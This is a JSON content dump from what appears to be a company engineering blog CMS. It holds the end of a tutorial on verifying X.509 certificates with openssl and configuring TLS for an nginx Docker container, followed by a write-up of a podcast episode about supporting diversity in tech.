follows:",[],"rich_text$39602d0e-1099-4ba8-9c05-efbef3b2c479",{"variation":459,"version":460,"items":10424,"primary":10425,"id":10430,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10426},[10427],{"type":563,"text":10428,"spans":10429},"$ openssl verify -CAFile \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem\n\u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem: OK",[],"code_block$b3b5724a-4cef-4e62-9338-47390c7262f5",{"variation":459,"version":460,"items":10432,"primary":10433,"id":10438,"slice_type":479,"slice_label":13},[],{"body":10434},[10435],{"type":396,"text":10436,"spans":10437},"Similarly, if we try to verify the issuer signature for the certificate we generated, we get a verification error:",[],"rich_text$9d691099-5681-48c9-b5e2-23733b79861f",{"variation":459,"version":460,"items":10440,"primary":10441,"id":10446,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10442},[10443],{"type":563,"text":10444,"spans":10445},"$ openssl verify -CAfile \u002Fetc\u002Fssl\u002Fcerts\u002FGo_Daddy_Root_Certificate_Authority_-_G2.pem certificate.pem\nC = UK, L = London, O = Form3\nerror 18 at 0 depth lookup: self signed certificate\nerror certificate.pem: verification failed",[],"code_block$1fe246ec-e005-4ef4-adac-df2a40fa2059",{"variation":459,"version":460,"items":10448,"primary":10449,"id":10466,"slice_type":479,"slice_label":13},[],{"body":10450},[10451,10454,10457,10460],{"type":396,"text":10452,"spans":10453},"This error message indicates that the certificate we generated was \"self-signed\". The GoDaddy root certificate is also self-signed, however this is characteristic of a root certificate. The root certificate is trusted, because it was installed by the operating system. Our certificate is less trustworthy, because we just generated it on the fly.",[],{"type":396,"text":10455,"spans":10456},"TLS certificates in use on the Internet are signed by one of the root certificates installed on your computer, which allows their authenticity to be verified.",[],{"type":396,"text":10458,"spans":10459},"This can be demonstrated by inspecting a certificate of a website protected by TLS, and then verifying it with its root\u002Fissuing certificate.",[],{"type":396,"text":10461,"spans":10462},"The TLS certificate of a website can be inspected by using openssl s_client, which normally expects input from stdin (hence the echo -n |):",[10463,10464,10465],{"start":2019,"end":5023,"type":780},{"start":2475,"end":1443,"type":780},{"start":8119,"end":3250,"type":780},"rich_text$0f70de42-6c89-488d-b6ec-797914038efa",{"variation":459,"version":460,"items":10468,"primary":10469,"id":10474,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10470},[10471],{"type":563,"text":10472,"spans":10473},"$ echo -n | openssl s_client -connect www.google.com:443\nCONNECTED(00000004)\ndepth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1\nverify return:1\ndepth=1 C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\nverify return:1\ndepth=0 CN = www.google.com\nverify return:1\n---\nCertificate chain\n 0 s:CN = www.google.com\n   i:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n 1 s:C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1\n 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1\n   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA\n---\nServer certificate\n-----BEGIN CERTIFICATE-----\nMIIEiTCCA3GgAwIBAgIRALC2MC4uIPl4CoGx9rjcnsMwDQYJKoZIhvcNAQELBQAw\nRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBM \n...\n vkJEyzGxWYiIzgWHYQ==\n-----END CERTIFICATE-----\nsubject=CN = www.google.com\n\nissuer=C = US, O = Google Trust Services LLC, CN = GTS CA 1C3\n\n---\nNo client certificate CA names sent\nPeer signing digest: SHA256\nPeer signature type: ECDSA\nServer Temp Key: X25519, 253 bits\n---\nSSL handshake has read 4297 bytes and written 386 bytes\nVerification: OK\n---\nNew, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384\nServer public key is 256 bit\nSecure Renegotiation IS NOT supported\nCompression: NONE\nExpansion: NONE\nNo ALPN negotiated\nEarly data was not sent\nVerify return code: 0 (ok)\n---\nDONE",[],"code_block$4c17c52d-c080-4773-8ef7-4b565d4ddd11",{"variation":459,"version":460,"items":10476,"primary":10477,"id":10486,"slice_type":479,"slice_label":13},[],{"body":10478},[10479,10483],{"type":396,"text":10480,"spans":10481},"Note that the Common Name of this certificate was google.com, indicating that this certificate can only be used to encrypt traffic to this domain name. Even if the certificate is verified as authentic, it cannot be used to serve TLS traffic from any other domain in a trusted capacity.",[10482],{"start":598,"end":2103,"type":780},{"type":396,"text":10484,"spans":10485},"A certificate file can be generated for verification with:",[],"rich_text$75b0ad57-4efd-47c1-a46d-0ca9bb6d77b6",{"variation":459,"version":460,"items":10488,"primary":10489,"id":10494,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10490},[10491],{"type":563,"text":10492,"spans":10493},"$ echo -n | openssl s_client -connect www.google.com:443 | openssl x509 > google.pem",[],"code_block$8cbd3b58-4004-4a0a-b31c-865e3190a2ef",{"variation":459,"version":460,"items":10496,"primary":10497,"id":10508,"slice_type":479,"slice_label":13},[],{"body":10498},[10499,10504],{"type":396,"text":10500,"spans":10501},"If you inspect this certificate (openssl x509 -in google.pem -text), you will see that this certificate was issued by \"Google Trust Services\". A quick search of your root certificate directory (cat \u002Fetc\u002Fssl\u002Fcerts | grep google) will show that Google Trust Services is not a root certificate authority. This means that there is a chain of issuing certificates between the one in use at google.com and the certificate authority that signed the first certificate in the chain.",[10502,10503],{"start":685,"end":1520,"type":780},{"start":4877,"end":2477,"type":780},{"type":396,"text":10505,"spans":10506},"We can download the certificate chain separately using openssl as follows:",[10507],{"start":599,"end":3243,"type":780},"rich_text$d87e61fe-0927-4254-b295-a49bcf933c4c",{"variation":459,"version":460,"items":10510,"primary":10511,"id":10516,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10512},[10513],{"type":563,"text":10514,"spans":10515},"$ echo -n | openssl s_client -connect www.google.com:443 -showcerts > google-chain.pem",[],"code_block$ff45fef7-1e7e-416c-b3aa-12e0b2fd0751",{"variation":459,"version":460,"items":10518,"primary":10519,"id":10524,"slice_type":479,"slice_label":13},[],{"body":10520},[10521],{"type":396,"text":10522,"spans":10523},"The original certificate can then be manually verified against its root certificate via the certificate chain with:",[],"rich_text$6bf94bf2-78d8-42b1-b65c-a7f890f88beb",{"variation":459,"version":460,"items":10526,"primary":10527,"id":10532,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10528},[10529],{"type":563,"text":10530,"spans":10531},"$ openssl verify -CAfile google-chain.pem google.pem\ngoogle.pem: OK",[],"code_block$1424d266-83c6-4340-a9f0-74902d8c7819",{"variation":459,"version":460,"items":10534,"primary":10535,"id":10540,"slice_type":479,"slice_label":13},[],{"body":10536},[10537],{"type":396,"text":10538,"spans":10539},"The verification of Google's certificate against the root certificate installed in your operating system demonstrates the difference in trust between the public certificates in use on the Internet for TLS, and the self-signed certificates you might generate locally. The fact that the certificates in use online can be verified against known certificates on your computer demonstrates that they have been issued to a trustworthy server.",[],"rich_text$5d07d717-304b-40c7-b578-919bae23c0a1",{"variation":459,"version":460,"items":10542,"primary":10543,"id":10552,"slice_type":479,"slice_label":13},[],{"body":10544},[10545,10548],{"type":465,"text":10546,"spans":10547},"TLS vs. SSH certificates",[],{"type":396,"text":10549,"spans":10550},"According to man ssh-keygen, the certificates used for SSH are a different, and much more simple, format than X.509 certificates used for TLS. SSH certificates are used in a similar way to the X.509 certificates used in TLS: they consist of public and private keys, but the format is different to the certificates described in this post.",[10551],{"start":1403,"end":2744,"type":780},"rich_text$3e073ed7-c4a8-4240-b93f-7d3d23b8396f",{"variation":459,"version":460,"items":10554,"primary":10555,"id":10567,"slice_type":479,"slice_label":13},[],{"body":10556},[10557,10560,10564],{"type":465,"text":10558,"spans":10559},"Example: TLS for HTTPS web servers",[],{"type":396,"text":10561,"spans":10562},"When you connect to a server that offers TLS, the server will be configured to send you its public certificate and will encrypt data with its private key. I'm not going to delve into the details of how TLS works here, but instead demonstrate how you might configure a simple web server with the materials it needs to make TLS possible. I'll be using nginx running in a Docker container to provide a small example.",[10563],{"start":1242,"end":6187,"type":780},{"type":396,"text":10565,"spans":10566},"First of all, we'll need some static content to serve as our web page:",[],"rich_text$10d9c365-2391-4a42-84d1-7ecc3fcfecd1",{"variation":459,"version":460,"items":10569,"primary":10570,"id":10575,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10571},[10572],{"type":563,"text":10573,"spans":10574},"$ cat \u003C\u003C EOF > index.html\nHello world!\n\nThis web page is protected using TLS!\nEOF",[],"code_block$1a77248f-6e8a-463a-8806-71e8b08ae1d5",{"variation":459,"version":460,"items":10577,"primary":10578,"id":10584,"slice_type":479,"slice_label":13},[],{"body":10579},[10580],{"type":396,"text":10581,"spans":10582},"Next, we'll need to configure an nginx server to serve this web page:",[10583],{"start":685,"end":844,"type":780},"rich_text$d8bcb2ac-7f46-47ca-9485-700fa3980761",{"variation":459,"version":460,"items":10586,"primary":10587,"id":10592,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10588},[10589],{"type":563,"text":10590,"spans":10591},"$ cat \u003C\u003C EOF > nginx.conf\nevents {}\nhttp {\n    server {\n        root \u002Fwww\u002F;\n        location \u002F {}\n    }\n}\nEOF",[],"code_block$f5385629-999f-4323-89c5-eab29a2a6b18",{"variation":459,"version":460,"items":10594,"primary":10595,"id":10601,"slice_type":479,"slice_label":13},[],{"body":10596},[10597],{"type":396,"text":10598,"spans":10599},"Then, we can package nginx with our web page and config as follows:",[10600],{"start":706,"end":596,"type":780},"rich_text$653218c4-3109-43e7-bca1-9fa8f1ca0b69",{"variation":459,"version":460,"items":10603,"primary":10604,"id":10609,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10605},[10606],{"type":563,"text":10607,"spans":10608},"$ cat \u003C\u003C EOF > Dockerfile\nFROM nginx\nCOPY index.html \u002Fwww\u002Findex.html\nCOPY nginx.conf \u002Fetc\u002Fnginx\u002Fnginx.conf\nEOF",[],"code_block$41f183ba-86ed-43ec-9bb3-e809ff92ad94",{"variation":459,"version":460,"items":10611,"primary":10612,"id":10617,"slice_type":479,"slice_label":13},[],{"body":10613},[10614],{"type":396,"text":10615,"spans":10616},"Now, we can build and run this image with:",[],"rich_text$bf97c58d-2282-45f7-9c68-7ef6c006539a",{"variation":459,"version":460,"items":10619,"primary":10620,"id":10625,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10621},[10622],{"type":563,"text":10623,"spans":10624},"$ docker build -t nginx-tls .\n$ docker run -p 8080:80 nginx-tls",[],"code_block$c0b20039-8a8e-4274-b516-8463e638f488",{"variation":459,"version":460,"items":10627,"primary":10628,"id":10633,"slice_type":479,"slice_label":13},[],{"body":10629},[10630],{"type":396,"text":10631,"spans":10632},"OK, now we can test our server by making a web request:",[],"rich_text$a7a591e1-23ab-4de4-bc5a-2cff2a213c8a",{"variation":459,"version":460,"items":10635,"primary":10636,"id":10641,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10637},[10638],{"type":563,"text":10639,"spans":10640},"$ curl localhost:8080\u002F\nHello world!\n\nThis web page is protected using TLS!",[],"code_block$fd928293-97b8-4f32-b0aa-d2bec80f6dff",{"variation":459,"version":460,"items":10643,"primary":10644,"id":10650,"slice_type":479,"slice_label":13},[],{"body":10645},[10646],{"type":396,"text":10647,"spans":10648},"Now that we've got a functioning web server, we can try to add TLS to it. The first thing to do is to update the nginx configuration with TLS details:",[10649],{"start":5615,"end":1535,"type":780},"rich_text$aa4849bd-20d0-488f-adfa-4fb9acd63064",{"variation":459,"version":460,"items":10652,"primary":10653,"id":10658,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10654},[10655],{"type":563,"text":10656,"spans":10657},"$ cat \u003C\u003C EOF > nginx.conf\nevents {}\nhttp {\n    server {\n        root \u002Fwww\u002F;\n        location \u002F {}\n\n        listen 443 ssl;\n        ssl_certificate certificate.pem;\n        ssl_certificate_key private.key;\n    }\n}\nEOF",[],"code_block$38cdd91f-20b8-48ad-bf97-a56bbc0a8d8c",{"variation":459,"version":460,"items":10660,"primary":10661,"id":10666,"slice_type":479,"slice_label":13},[],{"body":10662},[10663],{"type":396,"text":10647,"spans":10664},[10665],{"start":5615,"end":1535,"type":780},"rich_text$af934ad8-f608-4ac1-8b9c-c938a0ad008c",{"variation":459,"version":460,"items":10668,"primary":10669,"id":10673,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10670},[10671],{"type":563,"text":10656,"spans":10672},[],"code_block$2a12fe5b-9f20-43e0-82d4-a3dce67408d9",{"variation":459,"version":460,"items":10675,"primary":10676,"id":10682,"slice_type":479,"slice_label":13},[],{"body":10677},[10678],{"type":396,"text":10679,"spans":10680},"This configuration uses the certificates we generated earlier. To re-cap, we generated these files using openssl:",[10681],{"start":4004,"end":1792,"type":780},"rich_text$77937f64-6fe0-4ebc-98a1-38248e55144e",{"variation":459,"version":460,"items":10684,"primary":10685,"id":10689,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10686},[10687],{"type":563,"text":10268,"spans":10688},[],"code_block$82a8fbe7-2a1b-42f6-a3e1-b43d55f7b20c",{"variation":459,"version":460,"items":10691,"primary":10692,"id":10697,"slice_type":479,"slice_label":13},[],{"body":10693},[10694],{"type":396,"text":10695,"spans":10696},"The certificate files will also need to be present in the Dockerfile:",[],"rich_text$24d7b7a6-57b5-4b2a-8c03-d5d49a0a5a3d",{"variation":459,"version":460,"items":10699,"primary":10700,"id":10705,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10701},[10702],{"type":563,"text":10703,"spans":10704},"$ cat \u003C\u003C EOF > Dockerfile\nFROM nginx\nCOPY index.html \u002Fwww\u002Findex.html\nCOPY nginx.conf \u002Fetc\u002Fnginx\u002Fnginx.conf\nCOPY *.pem \u002Fetc\u002Fnginx\u002F\nCOPY *.key \u002Fetc\u002Fnginx\u002F\nEOF",[],"code_block$44e9c84d-15c5-4a29-a9ba-31e40cf57ca4",{"variation":459,"version":460,"items":10707,"primary":10708,"id":10713,"slice_type":479,"slice_label":13},[],{"body":10709},[10710],{"type":396,"text":10711,"spans":10712},"We can then build and run the container in a similar way to before:",[],"rich_text$b7b7fce5-d5dd-473f-bd17-3083d1b99ead",{"variation":459,"version":460,"items":10715,"primary":10716,"id":10721,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10717},[10718],{"type":563,"text":10719,"spans":10720},"$ docker build -t nginx-tls --no-cache .\n$ docker run -p 8080:443 nginx-tls",[],"code_block$ddd52867-df4a-4b6a-a7da-0abe6fbbb64a",{"variation":459,"version":460,"items":10723,"primary":10724,"id":10729,"slice_type":479,"slice_label":13},[],{"body":10725},[10726],{"type":396,"text":10727,"spans":10728},"Now, if we try to get the webpage via HTTP, it fails:",[],"rich_text$9e72017f-0b1f-431c-b317-a15886a83355",{"variation":459,"version":460,"items":10731,"primary":10732,"id":10737,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10733},[10734],{"type":563,"text":10735,"spans":10736},"$ curl localhost:8080\n\u003Chtml>\n\u003Chead>\u003Ctitle>400 The plain HTTP request was sent to HTTPS port\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ccenter>\u003Ch1>400 Bad Request\u003C\u002Fh1>\u003C\u002Fcenter>\n\u003Ccenter>The plain HTTP request was sent to HTTPS port\u003C\u002Fcenter>\n\u003Chr>\u003Ccenter>nginx\u002F1.21.6\u003C\u002Fcenter>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>",[],"code_block$63b4af79-842e-41d6-b80c-8b179af42009",{"variation":459,"version":460,"items":10739,"primary":10740,"id":10745,"slice_type":479,"slice_label":13},[],{"body":10741},[10742],{"type":396,"text":10743,"spans":10744},"And, if we try to get the webpage via HTTPS, it also fails:",[],"rich_text$0feafa2a-38b8-4608-8d05-d668f3cd049e",{"variation":459,"version":460,"items":10747,"primary":10748,"id":10753,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10749},[10750],{"type":563,"text":10751,"spans":10752},"$ curl https:\u002F\u002Flocalhost:8080\ncurl: (60) SSL certificate problem: self signed certificate\nMore details here: https:\u002F\u002Fcurl.haxx.se\u002Fdocs\u002Fsslcerts.html\n\ncurl failed to verify the legitimacy of the server and therefore could not\nestablish a secure connection to it. To learn more about this situation and\nhow to fix it, please visit the web page mentioned above.",[],"code_block$349328f0-67f5-4231-b7e2-c21ffd34c733",{"variation":459,"version":460,"items":10755,"primary":10756,"id":10765,"slice_type":479,"slice_label":13},[],{"body":10757},[10758],{"type":396,"text":10759,"spans":10760},"This is because we're using a self-signed certificate. Web browsers, curl, and most HTTP clients will fail if you try to make requests over TLS and the server presents a self-signed certificate. In this case, there's no way to know if you can trust the server or not. However, if we try again and tell curl to ignore self-signed certificates (-k), we are successful:",[10761,10762,10763],{"start":687,"end":714,"type":780},{"start":9901,"end":2738,"type":780},{"start":1960,"end":10764,"type":780},345,"rich_text$ba55391a-1b4f-499e-bfb5-7465b225f318",{"variation":459,"version":460,"items":10767,"primary":10768,"id":10773,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":10769},[10770],{"type":563,"text":10771,"spans":10772},"$ curl https:\u002F\u002Flocalhost:8080 -k\nHello world!\n\nThis web page is protected using TLS!",[],"code_block$a9260829-3db2-4386-bae5-4b6767474ba9",{"variation":459,"version":460,"items":10775,"primary":10776,"id":10783,"slice_type":479,"slice_label":13},[],{"body":10777},[10778],{"type":396,"text":10779,"spans":10780},"If you were working with self-signed certificates regularly, or with a private certificate authority whose root certificates aren't installed automatically, it is possible to import custom root certificates into your system's list of trusted certificates. Doing so would mean that clients like curl would recognise the authenticity of your certificate, rather than failing to verify its signature.",[10781],{"start":10782,"end":6381,"type":780},294,"rich_text$7e28ade1-9719-40ed-9775-aad2f4de7193",{"variation":459,"version":460,"items":10785,"primary":10786,"id":10802,"slice_type":479,"slice_label":13},[],{"body":10787},[10788,10790,10799],{"type":465,"text":3730,"spans":10789},[],{"type":396,"text":10791,"spans":10792},"So there you have it! Most TLS certificates are X.509 certificates, and whether you see them in *.pem, *.crt, or *.key files they're all likely to be in the same format. Certificates can be generated, inspected, and verified using the openssl command, and this applies to both self-signed certificates you might generate for testing, as well as certificates signed by a trusted certificate authority. Using X.509 certificates for TLS on web servers is relatively straightforward, and easy to configure in server applications like nginx.",[10793,10794,10795,10796],{"start":9702,"end":5380,"type":780},{"start":900,"end":5149,"type":780},{"start":5615,"end":742,"type":780},{"start":10797,"end":10798,"type":780},530,535,{"type":396,"text":10800,"spans":10801},"I hope you've found this post useful, and walk away from it slightly less confounded than I was when I started writing it!",[],"rich_text$3e1cb051-fba6-4447-8598-f6151f31c73d",{"id":10804,"uid":10805,"url":10806,"type":406,"href":10807,"tags":10808,"first_publication_date":9544,"last_publication_date":10809,"slugs":10810,"linked_documents":10812,"lang":386,"alternate_languages":10813,"data":10814},"alz1BxEAACgAUWeC","podcast-supporting-diversity","\u002Fresources\u002Fengineering-blog\u002Fpodcast-supporting-diversity","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1BxEAACgAUWeC%22%29+%5D%5D",[],"2026-08-27T02:06:55+0000",[10811],"ep-34--.tech---supporting-diversity-in-tech",[],[],{"title":10815,"excerpt":10816,"card_image":10817,"published_date":10822,"reading_time":672,"tag":427,"dek":10816,"featured_image":10823,"about_form3":10828,"client_about_heading":13,"client_about_body":10829,"author_name":1277,"author_title":1278,"author_photo":10830,"author_bio":10833,"author_linkedin":10836,"slices":10838,"meta_title":10815,"meta_description":10996},".tech Podcast - Supporting diversity in tech","Leah Cohen from School of SOS joins us to share her insights into how tech leaders can support diversity in tech. She tells us about what diversity in tech is and why we should care about it. Then, she explains two key solutions to improving diversity: target the next generation and support transitioning into careers in tech.",{"dimensions":10818,"alt":10815,"copyright":13,"url":10819,"id":10820,"edit":10821},{"width":420,"height":420},"\u002F_prismic-media\u002F21a57dccbd0ca5b8-zHqomRIMHCaSR2Vu_podcast-supporting-diversity.pn","zHqomRIMHCaSR2Vu",{"x":17,"y":17,"zoom":18,"background":19},"2022-07-27",{"dimensions":10824,"alt":13,"copyright":13,"url":10825,"id":10826,"edit":10827},{"width":1270,"height":2672},"\u002F_prismic-media\u002Fbf7b708a562332e1-1ezUFE5H-m7xf352_7da593e3-e745-48f6-b33a-9ea2370.png","1ezUFE5H-m7xf352",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":10831,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":10832},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[10834],{"type":396,"text":1287,"spans":10835},[],{"link_type":453,"key":10837,"url":1291,"target":456},"ca537a14-be9d-48d2-8361-e29db26a46eb",[10839,10859,10896,10914,10949,10969],{"variation":459,"version":481,"items":10840,"primary":10841,"id":10858,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":10842,"body":10846,"cta_label":1304,"cta_link":10849,"aside_type":13,"aside_image":10852,"aside_video":10853,"aside_video_poster":10854,"aside_video_reduced_motion":10855,"aside_video_url":13,"aside_embed":10856,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":10857,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[10843],{"type":465,"text":10844,"spans":10845},"Ep 34  .tech - Supporting diversity in tech",[],[10847],{"type":396,"text":1302,"spans":10848},[],{"link_type":453,"key":10850,"url":10851},"afb60256-5667-46c0-a47e-cff8120d2124","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-34-tech-supporting-diversity-in-tech-wXOtIkGd",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$497fa717-87b8-48a2-976b-77253c05d6fb",{"variation":459,"version":460,"items":10860,"primary":10861,"id":10895,"slice_type":479,"slice_label":13},[],{"body":10862},[10863,10866,10875,10880,10886,10892],{"type":465,"text":10864,"spans":10865},"Thoughts on tech leadership",[],{"type":396,"text":10867,"spans":10868},"Leah Cohen is Chief Technology Officer (CTO) at School of SOS. She has a background as an entrepreneur, developer and is now in charge of building the platform and leading the technical team at School of SOS.",[10869,10872],{"start":17,"end":426,"type":744,"data":10870},{"link_type":453,"url":10871},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fleahtopchik\u002F",{"start":516,"end":3242,"type":744,"data":10873},{"link_type":453,"url":10874},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fschool-of-sos\u002F",{"type":396,"text":10876,"spans":10877},"Leah defines adaptability as the most important quality of good tech leaders. Every team has its own challenges and there is no \"one size fits all\" to leadership. As a people leader, you can rely on your experience, but adaptability will allow you to tailor your style to your team.",[10878,10879],{"start":1403,"end":2118,"type":780},{"start":1403,"end":2118,"type":477},{"type":396,"text":10881,"spans":10882},"Tech leadership isn't just about sitting at the top and making tech decisions. Good people leaders need to motivate and support their team.",[10883,10885],{"start":4147,"end":10884,"type":780},138,{"start":4147,"end":10884,"type":477},{"type":396,"text":10887,"spans":10888},"They sit between the tech team and the business, helping the tech team understand what the needs of the business are and vice versa. As a leader you need to work as a bridge between engineering and business, so they must be effective communicators as well.",[10889,10891],{"start":7009,"end":10890,"type":780},247,{"start":7009,"end":10890,"type":477},{"type":396,"text":10893,"spans":10894},"While often overlooked, the people aspect of startups is the key to scaling the business and the team.",[],"rich_text$6cfaf440-74d6-428b-9c3a-9286ad535727",{"variation":459,"version":460,"items":10897,"primary":10898,"id":10913,"slice_type":479,"slice_label":13},[],{"body":10899},[10900,10903,10906,10910],{"type":465,"text":10901,"spans":10902},"What is diversity?",[],{"type":396,"text":10904,"spans":10905},"Diversity is talked about a lot, so it's important to begin by defining it.",[],{"type":396,"text":10907,"spans":10908},"Leah begins discussing diversity in tech from a product perspective. Women are the dominant consumers, but men are the ones building product. You need a breadth of types of people in your team so that you can understand a variety of user perspectives and build better products that work for everyone. Diverse teams should challenge their leaders viewpoints and assumptions, rather than just agree with you. This exchange of ideas from people with different backgrounds leads to better products.",[10909],{"start":516,"end":2630,"type":780},{"type":396,"text":10911,"spans":10912},"It is well established that tech has a diversity problem. There are a lot of misconceptions around what a tech team and tech role looks like. As Leah pointed out, being successful in tech involves a lot more personal skills than previously. The idea of someone sitting in the corner and coding by themselves is antiquated. Tech is a very collaborative field, where you have to work and communicate with other people to succeed.",[],"rich_text$9f5eba2c-f605-4e19-8878-88b55a73aed7",{"variation":459,"version":460,"items":10915,"primary":10916,"id":10948,"slice_type":479,"slice_label":13},[],{"body":10917},[10918,10921,10924,10929,10935,10938,10943],{"type":465,"text":10919,"spans":10920},"Improving diversity",[],{"type":396,"text":10922,"spans":10923},"On the other side, solving the history of the diversity problem in tech is difficult. It is daunting to enter an industry where you stick out, so the diversity problem is in a way self perpetuating. Minorities don't want to enter tech because there are no minorities in tech.",[],{"type":396,"text":10925,"spans":10926},"An obvious solution is to target the next generation. Leah is passionate about going to schools and inspire girls to consider careers in tech, whether engineering or science or any other form of tech.",[10927,10928],{"start":596,"end":547,"type":780},{"start":596,"end":547,"type":477},{"type":396,"text":10930,"spans":10931},"Traditionally, the way that tech was taught in schools was very detached from real world problems. Supporting organisations to set up and start building real products will be more fun and enticing for kids. At Form3, we support Stemettes, an organisation which inspired and supports girls who want to learn more about STEM. As engineers, we all have a responsibility to support the next generation.",[10932],{"start":2048,"end":6100,"type":744,"data":10933},{"link_type":453,"url":10934},"https:\u002F\u002Fstemettes.org\u002F",{"type":396,"text":10936,"spans":10937},"However, Leah explains that it's really tricky to influence the education system. The way that the curriculums are designed and the subjects are graded actually turns away minorities. For example, girls are traditionally brought up to be perfect, especially the millennial generation that is now in the workforce. Such a huge part of engineering is trying and failing, until you get something working. Girls are typically afraid to fail and not be perfect in front of others.",[],{"type":396,"text":10939,"spans":10940},"Another solution is to support transitioning into careers in tech. Opening up more pathways for people to change careers into tech is another way we can begin to improve diversity. Moving to tech from non-traditional backgrounds is key because it allows us to bypass the hurdles of the tech education.",[10941,10942],{"start":2532,"end":1557,"type":780},{"start":2532,"end":1557,"type":477},{"type":396,"text":10944,"spans":10945},"Tech leaders can support those who want to transition into tech by giving them different forms of assessment, whether they prefer to take their task in person or with a take home task. This will allow people to perform their best in the format they're most comfortable with.",[10946,10947],{"start":2630,"end":5149,"type":780},{"start":2630,"end":5149,"type":477},"rich_text$19607a39-a90b-4927-a6b0-d79d78d557a2",{"variation":459,"version":460,"items":10950,"primary":10951,"id":10968,"slice_type":479,"slice_label":13},[],{"body":10952},[10953,10956,10959,10965],{"type":465,"text":10954,"spans":10955},"Supporting minorities",[],{"type":396,"text":10957,"spans":10958},"Anyone that has the time and ability to create organisations that support minorities is a super star in our book.",[],{"type":396,"text":10960,"spans":10961},"Tech leaders should support these organisations in any way they can. For example, Women of Silicon Roundabout is a wonderful tech conference aimed at women.",[10962],{"start":899,"end":5381,"type":744,"data":10963},{"link_type":453,"url":10964},"https:\u002F\u002Fwww.women-in-technology.com\u002F",{"type":396,"text":10966,"spans":10967},"Apprenticeship programs are another brilliant way to bring in juniors and start training them. Online bootcamps are also a way that people can build up their tech skills alongside their day job. Hiring people from non-traditional backgrounds where we can is a great way to support diversity.",[],"rich_text$d2c69d85-fe8c-47f4-8c70-e566ad9022dc",{"variation":459,"version":460,"items":10970,"primary":10971,"id":10995,"slice_type":479,"slice_label":13},[],{"body":10972},[10973,10976,10979,10988],{"type":465,"text":10974,"spans":10975},"Women mentoring women",[],{"type":396,"text":10977,"spans":10978},"You can feel free to reach to either of the people on this podcast if you want to learn more about getting into tech.",[],{"type":396,"text":10980,"spans":10981},"Nobody comes up where they are alone. Leah would like to thank Bonnie Lister Parsons, founder & CEO of School of SOS, as well as Jonathan Lister Parsons. They have both been huge supporters for her through this transition into being a CTO",[10982,10985],{"start":1734,"end":640,"type":744,"data":10983},{"link_type":453,"url":10984},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbonnie-lister-parsons-74788738\u002F",{"start":7071,"end":2752,"type":744,"data":10986},{"link_type":453,"url":10987},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjonathan-lister\u002F",{"type":396,"text":10989,"spans":10990},"Don't hesitate to get in touch with Adelina Simion, Technology Evangelist at Form3, and our super star guest, Leah Cohen.",[10991,10993],{"start":546,"end":598,"type":744,"data":10992},{"link_type":453,"url":1291},{"start":1513,"end":602,"type":744,"data":10994},{"link_type":453,"url":10871},"rich_text$67a04dc0-3bd6-4b20-9843-1571f2bf7787","Leah Cohen from School of SOS joins us to share her insights into how tech leaders can support diversity in tech. She tells us about what diversity in tech is and why we should care about it. Then, she explains two key solutions to improving diversity: target the next generation and support transitioning careers into 